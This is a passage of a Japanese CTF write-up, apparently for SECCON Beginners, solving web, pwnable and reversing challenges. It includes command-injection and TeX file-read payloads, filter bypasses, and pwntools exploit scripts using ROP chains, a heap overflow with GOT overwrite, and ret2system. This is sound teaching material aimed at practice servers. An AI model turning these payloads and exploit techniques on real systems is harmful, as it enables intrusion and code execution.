	r.PathPrefix("/images/").Methods("GET").Handler(http.StripPrefix("/images/", http.FileServer(http.Dir(DIR))))

	r.HandleFunc("/", IndexHandler)

	http.ListenAndServe(":"+PORT, middleware()(r))
}
handlers.go
package main

import (
	"html/template"
	"log"
	"net/http"
	"os"
	"strings"
)

type Embed struct {
	ImageList []string
}

func IndexHandler(w http.ResponseWriter, r *http.Request) {
	t, err := template.New("index.html").ParseFiles("./static/index.html")
	if err != nil {
		http.Error(w, err.Error(), http.StatusInternalServerError)
		log.Println(err)
		return
	}

	// replace suspicious chracters
	fileExtension := strings.ReplaceAll(r.URL.Query().Get("file_extension"), ".", "")
	fileExtension = strings.ReplaceAll(fileExtension, "flag", "")
	if fileExtension == "" {
		fileExtension = "jpeg"
	}
	log.Println(fileExtension)

	data := Embed{}
	data.ImageList, err = getImageList(fileExtension)
	if err != nil {
		http.Error(w, err.Error(), http.StatusInternalServerError)
		log.Println(err)
		return
	}

	if err := t.Execute(w, data); err != nil {
		http.Error(w, err.Error(), http.StatusInternalServerError)
		log.Println(err)
		return
	}
}

func getImageList(fileExtension string) ([]string, error) {
	files, err := os.ReadDir("static")
	if err != nil {
		return nil, err
	}

	res := make([]string, 0, len(files))
	for _, file := range files {
		if !strings.Contains(file.Name(), fileExtension) {
			continue
		}
		res = append(res, file.Name())
	}

	return res, nil
}

まず flag という名前のついているファイルが存在するか確認してみます。 indexhandler 内部では strings.ReplaceAll(fileExtension, "flag", "") というサニタイズが行われていますが、これは flflagag とすることで突破できます。 https://gallery.quals.beginners.seccon.jp/?file_extension=flflagag ここにアクセスすることで、 pdf ファイルが存在することがわかりました。

しかしファイルを開いてみると ??...?? と表示されます。ソースコードを見直してみると、 10240bytesを超えたファイルを表示しようとするとこうなるようです。 この上限を回避するため、 Header の Range を使います (https://developer.mozilla.org/ja/docs/Web/HTTP/Headers/Range)。 Range: bytes=0-10000 のようなヘッダーをリクエストに付与すると、最初の10001bytesのみ (inclusive なことに注意) が response として返ってきます。これで上限値に達することなくファイルの一部を受け取ることができます。 これを使って2回に分けて pdf を復元し、ファイルを開くとフラグが書かれていました。

ctf4b{r4nge_reque5t_1s_u5efu1!}

textex

123 solves

app.py
import io
import os
import random
import shutil
import string
import subprocess
from flask import Flask, request, send_file, render_template

app = Flask(__name__)
app.config["MAX_CONTENT_LENGTH"] = 1 * 1024 * 1024

@app.route("/")
def top():
    return render_template("index.html")

def tex2pdf(tex_code) -> str:
    # Generate random file name.
    filename = "".join([random.choice(string.digits + string.ascii_lowercase + string.ascii_uppercase) for i in range(2**5)])
    # Create a working directory.
    os.makedirs(f"tex_box/{filename}", exist_ok=True)
    # .tex -> .pdf
    try:
        # No flag !!!!
        if "flag" in tex_code.lower():
            tex_code = ""
        # Write tex code to file.
        with open(f"tex_box/{filename}/{filename}.tex", mode="w") as f:
            f.write(tex_code)
        # Create pdf from tex.
        subprocess.run(["pdflatex", "-output-directory", f"tex_box/{filename}", f"tex_box/{filename}/{filename}.tex"], timeout=0.5)
    except:
        pass
    if not os.path.isfile(f"tex_box/{filename}/{filename}.pdf"):
        # OMG error ;(
        shutil.copy("tex_box/error.pdf", f"tex_box/{filename}/{filename}.pdf")
    return f"{filename}"

@app.route("/pdf", methods=["POST"])
def pdf():
    # tex to pdf.
    filename = tex2pdf(request.form.get("tex_code"))
    # Here's your pdf.
    with open(f"tex_box/{filename}/{filename}.pdf", "rb") as f:
        pdf = io.BytesIO(f.read())
    shutil.rmtree(f"tex_box/{filename}/")
    return send_file(pdf, mimetype="application/pdf")

if __name__ == "__main__":
    app.run(debug=True, host="0.0.0.0", port=4444)

自分の入力が pdflatex で pdf に変換され、その pdf を読むことができます。

tex の記法で \input{PATH} とすると PATH のファイルを埋め込むことができるので、これを使うことを考えます。 しかし flag という文字列を直接書き込むと tex_code = "" となってしまいます。これは簡単に回避できて、 \input{fl""ag} などとすると "" の部分が勝手に消えてくれて flag を読み取ることができます。 …と思いきや、なぜか error pdf が表示されてしまいます。手元で実験してみると、 tex の文中に使えない文字 (わからないけど多分 { とか?) が入っているとコンパイルが通らないっぽいです。これを回避するため $\input{fl""ag}$ として数式モード中にフラグを埋め込むことで表示に成功しました。 数式中なので { が消えてしまったり ..._x が下添字になってしまったり、いくつか問題はありますが、フラグを復元するのには十分です。

ctf4b{15_73x_pr0n0unc3d_ch0u?}

Util

460 solves

main.go
package main

import (
	"os/exec"

	"github.com/gin-gonic/gin"
)

type IP struct {
	Address string `json:"address"`
}

func main() {
	r := gin.Default()

	r.LoadHTMLGlob("pages/*")

	r.GET("/", func(c *gin.Context) {
		c.HTML(200, "index.html", nil)
	})

	r.POST("/util/ping", func(c *gin.Context) {
		var param IP
		if err := c.Bind(&param); err != nil {
			c.JSON(400, gin.H{"message": "Invalid parameter"})
			return
		}

		commnd := "ping -c 1 -W 1 " + param.Address + " 1>&2"
		result, _ := exec.Command("sh", "-c", commnd).CombinedOutput()

		c.JSON(200, gin.H{
			"result": string(result),
		})
	})

	if err := r.Run(); err != nil {
		panic(err)
	}
}

ping -c 1 -W 1 PAYLOAD 1>&2 という形で command injection が可能になっています。例えば PAYLOAD=;ls / とすると ls / が実行されます。 ただし、フォーム上からやると client 側で javascript による validation に引っかかってしまうので、直接 POST します (burpsuite を使いました)。 {"address":";ls /;"} でファイル名を特定したあと、 {"address":";cat /flag_A74FIBkN9sELAjOc.txt;"} でフラグを表示できました。

ctf4b{al1_0vers_4re_i1l}

pwnable

snowdrop

44 solves

src.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define BUFF_SIZE 0x10

void show_stack(void *);

int main() {
    char buf[BUFF_SIZE] = {0};
    show_stack(buf);
    puts("You can earn points by submitting the contents of flag.txt");
    puts("Did you understand?") ;
    gets(buf);
    puts("bye!");
    show_stack(buf);
}

void show_stack(void *ptr) {
    puts("stack dump...");
    printf("\n%-8s|%-20s\n", "[Index]", "[Value]");
    puts("========+===================");
    for (int i = 0; i < 8; i++) {
        unsigned long *p = &((unsigned long*)ptr)[i];
        printf(" %06d | 0x%016lx ", i, *p);
        if (p == ptr)
            printf(" <- buf");
        if ((unsigned long)p == (unsigned long)(ptr + BUFF_SIZE))
            printf(" <- saved rbp");
        if ((unsigned long)p == (unsigned long)(ptr + BUFF_SIZE + 0x8))
            printf(" <- saved ret addr");
        puts("");
    }
    puts("finish");
}

__attribute__((constructor))
void init() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    alarm(60);
}
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

gets が使われているので ROP でやりたい放題です。 バイナリを軽くみてみると、静的リンクでコンパイルされています。そのためいつもの libc を使った様々な方法 (GOT から libc address leak -> one gadget など) はできません (必要最低限の関数しかリンクされていないため、多分)。 どんな関数がリンクされているか見てみると、 open, read, write があることがわかったため、これらを ROP でうまく読んであげることでフラグファイルを直接読み取ることができました。

solve.py
from pwn import *

io = remote("snowdrop.quals.beginners.seccon.jp", 9002)
elf = ELF("./chall")

payload = b"A" * 0x18
payload += p64(0x0000000000401b84)  # pop rdi ; ret
payload += p64(0x0048e008 + len("You can earn points by submitting the contents of "))
payload += p64(0x000000000040a29e)  # pop rsi ; ret
payload += p64(0)
payload += p64(elf.symbols["open"])
payload += p64(0x0000000000401b84)  # pop rdi ; ret
payload += p64(3)
payload += p64(0x000000000040a29e)  # pop rsi ; ret
payload += p64(0x004bc2e0)
payload += p64(0x00000000004017cf)  # pop rdx ; ret
payload += p64(0x20)
payload += p64(elf.symbols["read"])
payload += p64(0x0000000000401b84)  # pop rdi ; ret
payload += p64(1)
payload += p64(0x000000000040a29e)  # pop rsi ; ret
payload += p64(0x004bc2e0)
payload += p64(0x00000000004017cf)  # pop rdx ; ret
payload += p64(0x20)
payload += p64(elf.symbols["write"])
io.sendlineafter(b"understand?\n", payload)
io.interactive()

ctf4b{h1ghw4y_t0_5h3ll}

simplelist

32 solves

src.c
#define DEBUG 1

#include "list.h"


int read_int() {
    char buf[0x10];
    buf[read(0, buf, 0xf)] = 0;

    return atoi(buf);
}

void create() {
    Memo* e = malloc(sizeof(Memo)) ;
#if DEBUG
    printf("[debug] new memo allocated at %p\n", e);
#endif
    if (e == NULL)
        err(1, "%s\n", strerror(errno));

    printf("Content: ");
    gets(e->content);
    e->next = NULL;
    list_add(e);
}

void edit() {
    printf("index: ");
    int index = read_int();
    
    Memo *e = list_nth(index);
    
    if (e == NULL) {
        puts("Not found...");
        return;
    }

#if DEBUG
    printf("[debug] editing memo at %p\n", e);
#endif
    printf("Old content: ");
    puts(e->content);
    printf("New content: ");
    gets(e->content);
}

void show() {
    Memo *e = memo_list;
    if (e == NULL) {
        puts("List empty");
        return;
    }
    puts("\nList of current memos");
    puts("-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-");
    for (int i = 0; e != NULL; e = e->next) {
#if DEBUG
        printf("[debug] memo_list[%d](%p)->content(%p) %s\n", i, e, e->content, e->content);
        printf("[debug] next(%p): %p\n", &e->next, e->next);
#else
        printf("memo_list[%d] %s\n", i, e->content);
#endif
        i++;
    }
    puts("-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-\n");
}

void menu() {
    puts("");
    puts("1. Create new memo");
    puts("2. Edit existing memo");
    puts("3. Show memo");
    puts("4. Exit");
}

int main() {
    puts("Welcome to memo organizer");
    menu();
    printf("> ");
    int cmd = read_int();
    while (1) {
        switch (cmd) {
            case 1:
                create();
                break;
            case 2:
                edit();
                break;
            case 3:
                show();
                break;
            case 4:
                puts("bye!");
                exit(0);
            default:
                puts("Invalid command");
                break;
        }
        menu();
        printf("> ");
        cmd = read_int();
    }
}

__attribute__((constructor))
void init() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    alarm(60);
}
list.h
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <err.h>

#define CONTENT_SIZE 0x20

typedef struct memo {
    struct memo *next;
    char content[CONTENT_SIZE];
} Memo;

Memo *memo_list = NULL;

static inline void list_add(Memo *e) {
    if (memo_list == NULL) {
        memo_list = e;
#if DEBUG
        printf("first entry created at %p\n", memo_list);
#endif
    } else {
        Memo *tail = memo_list;
        while (tail->next != NULL)
            tail = tail->next;
#if DEBUG
        printf("adding entry to %p->next\n", tail);
#endif
        tail->next = e;
    }
}

static inline Memo *list_nth(int index) {
    if (memo_list == NULL)
        return NULL;

    Memo *cur = memo_list;
    int i;
    for (i = 0; i != index && cur->next != NULL; ++i, cur = cur->next);
    if (i != index)
        return NULL;
    else
        return cur;
}
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

gets が使われているので heap overflow が狙えます。 bins のサイズを変えないように下位の Memo->next を書き換えることで、その書き換えた値のアドレスにある値がわかります。これで GOT 領域を見ることで libc の base address が求まります。 さらに GOT overwrite で puts 関数の代わりに one gadget へ飛ぶようにすることでフラグを得ました。edit の次に puts 関数が呼ばれるときに r15 = 0, rdx = 0 だったので、その条件下の one gadget を使っています。

solve.py
from pwn import *

REMOTE = True

elf = ELF("./chall")
if REMOTE:
    io = remote("simplelist.quals.beginners.seccon.jp", 9003)
    libc = ELF("./libc-2.33.so")
    one_gadget = 0xde78f  # r15 = 0, rdx = 0
else:
    io = remote("localhost", 1337)
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    one_gadget = 0xe6c81


def create(content: bytes):
    io.sendlineafter(b"> ", b"1")
    io.recvuntil(b"[debug] new memo allocated at ")
    addr_memo = int(io.recvline(), 16)
    io.sendlineafter(b"Content: ", content)
    return addr_memo


def edit(idx: int, content: bytes):
    io.sendlineafter(b"> ", b"2")
    io.sendafter(b"index: ", str(idx).encode())
    io.recvuntil(b"[debug] editing memo at ")
    addr_memo = int(io.recvline(), 16)
    io.recvuntil(b"Old content: ")
    old_content = io.recvline().strip()
    if content is None:
        content = old_content
    io.sendlineafter(b"New content: ", content)
    return addr_memo, old_content


addr0 = create(b"A")
addr1 = create(b"B")
edit(0, b"A" * 0x20 + p64(0x31) + p64(elf.got["puts"] - 8))
_, addr_got_puts = edit(2, content=None)
addr_got_puts = u64(addr_got_puts.ljust(8, b"\x00"))
print(f"{addr_got_puts = :#x}")
libc.address = addr_got_puts - libc.symbols["puts"]
print(f"{libc.address = :#x}")

edit(2, content=p64(libc.address + one_gadget))
io.interactive()

ctf4b{W3lc0m3_t0_th3_jungl3}

raindrop

52 solves

src.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define BUFF_SIZE 0x10

void help() {
    system("cat welcome.txt");
}

void show_stack(void *);
void vuln();

int main() {
    vuln();
}

void vuln() {
    char buf[BUFF_SIZE] = {0};
    show_stack(buf);
    puts("You can earn points by submitting the contents of flag.txt");
    puts("Did you understand?") ;
    read(0, buf, 0x30);
    puts("bye!");
    show_stack(buf);
}

void show_stack(void *ptr) {
    puts("stack dump...");
    printf("\n%-8s|%-20s\n", "[Index]", "[Value]");
    puts("========+===================");
    for (int i = 0; i < 5; i++) {
        unsigned long *p = &((unsigned long*)ptr)[i];
        printf(" %06d | 0x%016lx ", i, *p);
        if (p == ptr)
            printf(" <- buf");
        if ((unsigned long)p == (unsigned long)(ptr + BUFF_SIZE))
            printf(" <- saved rbp");
        if ((unsigned long)p == (unsigned long)(ptr + BUFF_SIZE + 0x8))
            printf(" <- saved ret addr");
        puts("");
    }
    puts("finish");
}

__attribute__((constructor))
void init() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    help();
    alarm(60);
}
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

buffer size が 0x10 なのに対し、 read0x30 bytes しているため stack overflow が狙えます。 return address 以降の 0x18 bytes を書き換えることができます。 親切にも rsp 近くの stack 領域を表示してくれるため、 saved rbp から rsp が求まります。 rsp/bin/sh を書き込んでおき、 rsprdi に代入し、 system を呼べばフラグが手に入ります。

solve.py
from pwn import *

io = remote("raindrop.quals.beginners.seccon.jp", 9001)

elf = ELF("./chall")

io.recvuntil(b" 000002 | ")
addr_saved_rbp = int(io.recv(18), 16)
addr_rsp = addr_saved_rbp - 0x20
print(f"{addr_rsp = :#x}")

payload = b"/bin/sh"
payload = payload.ljust(0x18, b"\x00")
payload += p64(0x0000000000401453)  # pop rdi ; ret
payload += p64(addr_rsp)
payload += p64(0x4011e5)
io.sendafter(b"understand?\n", payload)
io.interactive()

ctf4b{th053_d4y5_4r3_g0n3_f0r3v3r}

BeginnersBof

155 solves

src.c
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <err.h>

#define BUFSIZE 0x10

void win() {
    char buf[0x100];
    int fd = open("flag.txt", O_RDONLY);
    if (fd == -1)
        err(1, "Flag file not found...\n");
    write(1, buf, read(fd, buf, sizeof(buf)));
    close(fd);
}

int main() {
    int len = 0;
    char buf[BUFSIZE] = {0};
    puts("How long is your name?");
    scanf("%d", &len);
    char c = getc(stdin);
    if (c != '\n')
        ungetc(c, stdin);
    puts("What's your name?");
    fgets(buf, len, stdin);
    printf("Hello %s", buf);
}

__attribute__((constructor))
void init() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    alarm(60);
}
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

len を大きい値に設定することで stack overflow が狙えます。 return address の場所を確認するのが面倒だったので win 関数のアドレスを何度も書いて雑対応しました…

solve.py
from pwn import *

elf = ELF("./chall")
io = remote("beginnersbof.quals.beginners.seccon.jp", 9000)
io.sendlineafter(b"name?\n", b"64")
io.sendafter(b"name?\n", p64(elf.symbols["win"]) * 8)
io.interactive()

ctf4b{Y0u_4r3_4lr34dy_4_BOF_M45t3r!}

reversing

please_not_debug_me

48 solves

ghidra で main 関数を decompile してみます。

undefined8 main(undefined8 param_1,char **param_2)

{
  int iVar1;
  long lVar2;
  long in_FS_OFFSET;
  uint local_20;
  char *local_18;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  lVar2 = syscall(0x13f,&DAT_00102004,0);
  iVar1 = (int)lVar2;
  if (iVar1 == -1) {
    err(1,"Can\'t unpack");
  }
  for (local_20 = 0; local_20 < binary_len; local_20 = local_20 + 1) {
    binary[local_20] = binary[local_20] ^ 0x16;
  }
  write(iVar1,binary,(ulong)binary_len);
  local_18 = (char *)0x0;
  iVar1 = fexecve(iVar1,param_2,&local_18);
  if (iVar1 == -1) {
    err(1,"Can\'t execute");
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

binary 変数の各バイトに対して 0x16 で xor を取り、それでできたバイト列を fexecve で実行しているみたいです。 xor を実際に取ってみると ELF ファイルができました。

入力が正しいかを確認する処理は check 関数で行われています。以下 decompile 結果です。

void check(char *param_1,undefined8 param_2,undefined8 param_3,uchar *param_4)

{
  long in_FS_OFFSET;
  int local_a8;
  uint local_a4;
  FILE *local_a0;
  undefined8 local_98;
  undefined8 local_90;
  undefined8 local_88;
  undefined8 local_80;
  undefined8 local_78;
  undefined8 local_70;
  undefined8 local_68;
  undefined4 local_60;
  undefined2 local_5c;
  undefined local_5a;
  undefined8 local_58;
  undefined8 local_50;
  undefined8 local_48;
  undefined8 local_40;
  undefined8 local_38;
  undefined8 local_30;
  undefined8 local_28;
  undefined4 local_20;
  undefined2 local_1c;
  undefined local_1a;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  local_a8 = 0;
  local_98 = 0;
  local_90 = 0;
  local_88 = 0;
  local_80 = 0;
  local_78 = 0;
  local_70 = 0;
  local_68 = 0;
  local_60 = 0;
  local_5c = 0;
  local_5a = 0;
  local_58 = 0;
  local_50 = 0;
  local_48 = 0;
  local_40 = 0;
  local_38 = 0;
  local_30 = 0;
  local_28 = 0;
  local_20 = 0;
  local_1c = 0;
  local_1a = 0;
  local_a0 = (FILE *)0x0;
  do {
    switch(local_a8) {
    case 0:
      if ((_DAT_00105090 & 0xff) == 0xcc) {
        fwrite("Why are you trying to debug when there are no bugs?\n",1,0x34,stderr);
                    /* WARNING: Subroutine does not return */
        exit(1);
      }
      local_a0 = fopen(param_1,"r");
      break;
    case 1:
      if (local_a0 == (FILE *)0x0) {
        err(1,"fopen(\"%s\", \"r\")",param_1);
      }
      break;
    case 2:
      if ((___cxa_finalize & 0xff) == 0xcc) {
        fwrite("Why are you trying to debug when there are no bugs?\n",1,0x34,stderr);
                    /* WARNING: Subroutine does not return */
        exit(1);
      }
      fgets((char *)&local_98,0x3f,local_a0);
      break;
    case 3:
      for (local_a4 = 0; (int)local_a4 < 0x28; local_a4 = local_a4 + 1) {
        param_4 = (uchar *)(ulong)((byte)KEY[(int)local_a4] ^ local_a4);
        KEY[(int)local_a4] = (char)((byte)KEY[(int)local_a4] ^ local_a4);
      }
      break;
    case 4:
      RC4((RC4_KEY *)KEY,(size_t)&local_98,(uchar *)&local_58,param_4);
      break;
    case 5:
      if ((___gmon_start__ & 0xff) == 0xcc) {
        fwrite("Why are you trying to debug when there are no bugs?\n",1,0x34,stderr);
                    /* WARNING: Subroutine does not return */
        exit(1);
      }
      memcmp(ENC,&local_58,0x3f);
      if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) {
        return;
      }
                    /* WARNING: Subroutine does not return */
      __stack_chk_fail();
    }
    local_a8 = local_a8 + 1;
  } while( true );
}

KEY を xor で更新したあと、その KEY を使って RC4 で暗号化した結果が ENC と一致するかをチェックしています。 RC4 は可逆で復号可能なので ENC を復号することで元のフラグを復元できます。

solve.py
from Crypto.Cipher import ARC4

KEY = list(b'\x62\x31\x34\x62\x65\x37\x60\x32\x69\x3c\x68\x6f\x6a\x3b\x6d\x6e\x71\x26\x23\x2b\x23\x2d\x21\x24\x2c\x2f\x2f\x78\x79\x24\x29\x2f\x44\x11\x16\x45\x10\x10\x1f\x43')
ENC = list(b'\x27\xd9\x65\x3a\x0f\x25\xe4\x0e\x81\x8a\x59\xbc\x33\xfb\xf9\xfc\x05\xc6\x33\x01\xe2\xb0\xbe\x8e\x4a\x9c\xa9\x46\x73\xb8\x48\x7d\x7f\x73\x22\xec\xdb\xdc\x98\xd9\x90\x61\x80\x7c\x6c\xb3\x36\x42\x3f\x90\x44\x85\x0d\x95\xb1\xee\xfa\x94\x85\x0c\xb9\x9f\x00')
for i in range(0x28):
    KEY[i] = KEY[i] ^ i

cipher = ARC4.new(key=bytes(KEY))

ctf4b{D0_y0u_kn0w_0f_0th3r_w4y5_t0_d3t3ct_d36u991n9_1n_L1nux?}

Ransom

61 solves

pcap ファイルを wireshark で見てみると、 rgUAvvyfyApNPEYg というバイト列を使ってフラグが暗号化されていることがわかります。以下、このバイト列を key と呼びます。

ghidra でバイナリを開くと比較的わかりやすい decompile 結果となります。最後の暗号化は xor で行われているため、 python で再実装し、最後の xor 部分だけ flagenc を入れ替えることでフラグを復元できました。

solve.py
key = b"rgUAvvyfyApNPEYg"
buf = [i for i in range(256)]
local_18 = 0
for i in range(256):
    ivar3 = buf[i] + local_18 + key[i % 16]
    uvar1 = (ivar3 >> 0x1f) >> 0x18  # これは何…?
    local_18 = (ivar3 + uvar1 & 0xff) - uvar1
    buf[i], buf[local_18] = buf[local_18], buf[i]


enc = b"\x2b\xa9\xf3\x6f\xa2\x2e\xcd\xf3\x78\xcc\xb7\xa0\xde\x6d\xb1\xd4\x24\x3c\x8a\x89\xa3\xce\xab\x30\x7f\xc2\xb9\x0c\xb9\xf4\xe7\xda\x25\xcd\xfc\x4e\xc7\x9e\x7e\x43\x2b\x3b\xdc\x09\x80\x96\x95\xf6\x76\x10"
local_24 = 0
local_20 = 0
xor_key = []
flag = [None] * len(enc)
for i in range(len(enc)):
    local_24 += 1
    local_20 = (buf[local_24] + local_20) & 0xff
    buf[local_24], buf[local_20] = buf[local_20], buf[local_24]
    flag[i] = enc[i] ^ buf[(buf[local_20] + buf[local_24] & 0xff)]

ctf4b{rans0mw4re_1s_v4ry_dan9er0u3_s0_b4_c4refu1}

Recursive

127 solves

check 関数の ghidra での decompile 結果は以下の通りです。

undefined8 check(char *param_1,int param_2)

{
  int iVar1;
  int iVar2;
  int iVar3;
  size_t sVar4;
  char *pcVar5;
  
  sVar4 = strlen(param_1);
  iVar3 = (int)sVar4;
  if (iVar3 == 1) {
    if (table[param_2] != *param_1) {
      return 1;
    }
  }
  else {
    iVar1 = iVar3 / 2;
    pcVar5 = (char *)malloc((long)iVar1);
    strncpy(pcVar5,param_1,(long)iVar1);
    iVar2 = check(pcVar5,param_2);
    if (iVar2 == 1) {
      return 1;
    }
    pcVar5 = (char *)malloc((long)(iVar3 - iVar1));
    strncpy(pcVar5,param_1 + iVar1,(long)(iVar3 - iVar1));
    iVar3 = check(pcVar5,iVar1 * iVar1 + param_2);
    if (iVar3 == 1) {
      return 1;
    }
  }
  return 0;
}

これを python で再実装すると、フラグの e 番目の文字列が何になるべきかを特定できます。

solve.py
table = list(b'\x63\x74\x60\x2a\x66\x34\x28\x2b\x62\x63\x39\x35\x22\x2e\x38\x31\x62\x7b\x68\x6d\x72\x33\x63\x2f\x7d\x72\x40\x3a\x7b\x26\x3b\x35\x31\x34\x6f\x64\x2a\x3c\x68\x2c\x6e\x27\x64\x6d\x78\x77\x3f\x6c\x65\x67\x28\x79\x6f\x29\x6e\x65\x2b\x6a\x2d\x7b\x28\x60\x71\x2f\x72\x72\x33\x7c\x28\x24\x30\x2b\x35\x73\x2e\x7a\x7b\x5f\x6e\x63\x61\x75\x72\x24\x7b\x73\x31\x76\x35\x25\x21\x70\x29\x68\x21\x71\x27\x74\x3c\x3d\x6c\x40\x5f\x38\x68\x39\x33\x5f\x77\x6f\x63\x34\x6c\x64\x25\x3e\x3f\x63\x62\x61\x3c\x64\x61\x67\x78\x7c\x6c\x3c\x62\x2f\x79\x2c\x79\x60\x6b\x2d\x37\x7b\x3d\x3b\x7b\x26\x38\x2c\x38\x75\x35\x24\x6b\x6b\x63\x7d\x40\x37\x71\x40\x3c\x74\x6d\x30\x33\x3a\x26\x2c\x66\x31\x76\x79\x62\x27\x38\x25\x64\x79\x6c\x32\x28\x67\x3f\x37\x31\x37\x71\x23\x75\x3e\x66\x77\x28\x29\x76\x6f\x6f\x24\x36\x67\x29\x3a\x29\x5f\x63\x5f\x2b\x38\x76\x2e\x67\x62\x6d\x28\x25\x24\x77\x28\x3c\x68\x3a\x31\x21\x63\x27\x72\x75\x76\x7d\x40\x33\x60\x79\x61\x21\x72\x35\x26\x3b\x35\x7a\x5f\x6f\x67\x6d\x30\x61\x39\x63\x32\x33\x73\x6d\x77\x2d\x2e\x69\x23\x7c\x77\x7b\x38\x6b\x65\x70\x66\x76\x77\x3a\x33\x7c\x33\x66\x35\x3c\x65\x40\x3a\x7d\x2a\x2c\x71\x3e\x73\x67\x21\x62\x64\x6b\x72\x30\x78\x37\x40\x3e\x68\x2f\x35\x2a\x68\x69\x3c\x37\x34\x39\x27\x7c\x7b\x29\x73\x6a\x31\x3b\x30\x2c\x24\x69\x67\x26\x76\x29\x3d\x74\x30\x66\x6e\x6b\x7c\x30\x33\x6a\x22\x7d\x37\x72\x7b\x7d\x74\x69\x7d\x3f\x5f\x3c\x73\x77\x78\x6a\x75\x31\x6b\x21\x6c\x26\x64\x62\x21\x6a\x3a\x7d\x21\x7a\x7d\x36\x2a\x60\x31\x5f\x7b\x66\x31\x73\x40\x33\x64\x2c\x76\x69\x6f\x34\x35\x3c\x5f\x34\x76\x63\x5f\x76\x33\x3e\x68\x75\x33\x3e\x2b\x62\x79\x76\x71\x23\x23\x40\x66\x2b\x29\x6c\x63\x39\x31\x77\x2b\x39\x69\x37\x23\x76\x3c\x72\x3b\x72\x72\x24\x75\x40\x28\x61\x74\x3e\x76\x6e\x3a\x37\x62\x60\x6a\x73\x6d\x67\x36\x6d\x79\x7b\x2b\x39\x6d\x5f\x2d\x72\x79\x70\x70\x5f\x75\x35\x6e\x2a\x36\x2e\x7d\x66\x38\x70\x70\x67\x3c\x6d\x2d\x26\x71\x71\x35\x6b\x33\x66\x3f\x3d\x75\x31\x7d\x6d\x5f\x3f\x6e\x39\x3c\x7c\x65\x74\x2a\x2d\x2f\x25\x66\x67\x68\x2e\x31\x6d\x28\x40\x5f\x33\x76\x66\x34\x69\x28\x6e\x29\x73\x32\x6a\x76\x67\x30\x6d\x34')


ans = [None] * 0x26


def dfs(s, e):
    if len(s) == 1:
        print(e, s[0])
        ans[s[0]] = table[e]
        return True
    l = len(s) // 2
    if not dfs(s[:l], e):
        return False
    if not dfs(s[l:], l*l + e):
        return False
    return True


dfs(bytes([i for i in range(0x26)]), 0)

ctf4b{r3curs1v3_c4l1_1s_4_v3ry_u53fu1}

WinTLS

102 solves

実行してみると、文字列の入力に対し、 Wrong flag... と表示されます。 Wrong flag という文字列で検索をかけ、それの XREF を見てみると、以下の場所が見つかりました。

LRESULT UndefinedFunction_004018f9(HWND param_1,uint param_2,WPARAM param_3,longlong param_4)

{
  LRESULT LVar1;
  tagPAINTSTRUCT atStack312 [3];
  DWORD DStack44;
  DWORD DStack40;
  DWORD DStack36;
  HDC pHStack32;
  HANDLE pvStack24;
  HANDLE pvStack16;
  
  if (param_2 == 0x111) {
    if ((short)param_3 != 0x1337) {
      return 0;
    }
    GetWindowTextA(hFlag,(LPSTR)atStack312,0x100);
    pvStack16 = CreateThread((LPSECURITY_ATTRIBUTES)0x0,0,(LPTHREAD_START_ROUTINE)&t1,atStack312,0,
                             &DStack36);
    pvStack24 = CreateThread((LPSECURITY_ATTRIBUTES)0x0,0,(LPTHREAD_START_ROUTINE)&t2,atStack312,0,
                             &DStack36);
    WaitForSingleObject(pvStack16,0xffffffff);
    WaitForSingleObject(pvStack24,0xffffffff);
    GetExitCodeThread(pvStack16,&DStack40);
    GetExitCodeThread(pvStack24,&DStack44);
    CloseHandle(pvStack16);
    CloseHandle(pvStack24);
    if ((DStack40 == 0) && (DStack44 == 0)) {
      MessageBoxA((HWND)0x0,"Correct flag!","DOPE",0x40);
    }
    else {
      MessageBoxA((HWND)0x0,"Wrong flag...","NOPE",0x10);
    }
    return 0;
  }
  if (param_2 < 0x112) {
    if (param_2 == 0xf) {
      pHStack32 = BeginPaint(param_1,atStack312);
      TextOutA(pHStack32,8,8,"Give me ticket:",0xf);
      EndPaint(param_1,atStack312);
      return 0;
    }
    if (param_2 < 0x10) {
      if (param_2 == 1) {
        TLS = TlsAlloc();
        hFlag = CreateWindowExA(0,"EDIT","",0x50800080,0x10,0x26,200,0x1e,param_1,(HMENU)0xdead,
                                *(HINSTANCE *)(param_4 + 8),(LPVOID)0x0);
        CreateWindowExA(0,"BUTTON","check",0x50000000,0xe4,0x26,0x40,0x1e,param_1,(HMENU)0x1337,
                        *(HINSTANCE *)(param_4 + 8),(LPVOID)0x0);
        return 0;
      }
      if (param_2 == 2) {
        TlsFree(TLS);
        PostQuitMessage(0);
        return 0;
      }
    }
  }
  LVar1 = DefWindowProcA(param_1,param_2,param_3,param_4);
  return LVar1;
}

挙動を深くは理解できなかった (exe わかりません…) のですが、 t1t2 を見てみると以下のような処理が書いてありました。

t1
  iStack12 = 0;
  TlsSetValue(TLS,"c4{fAPu8#FHh2+0cyo8$SWJH3a8X");
  for (uStack16 = 0;
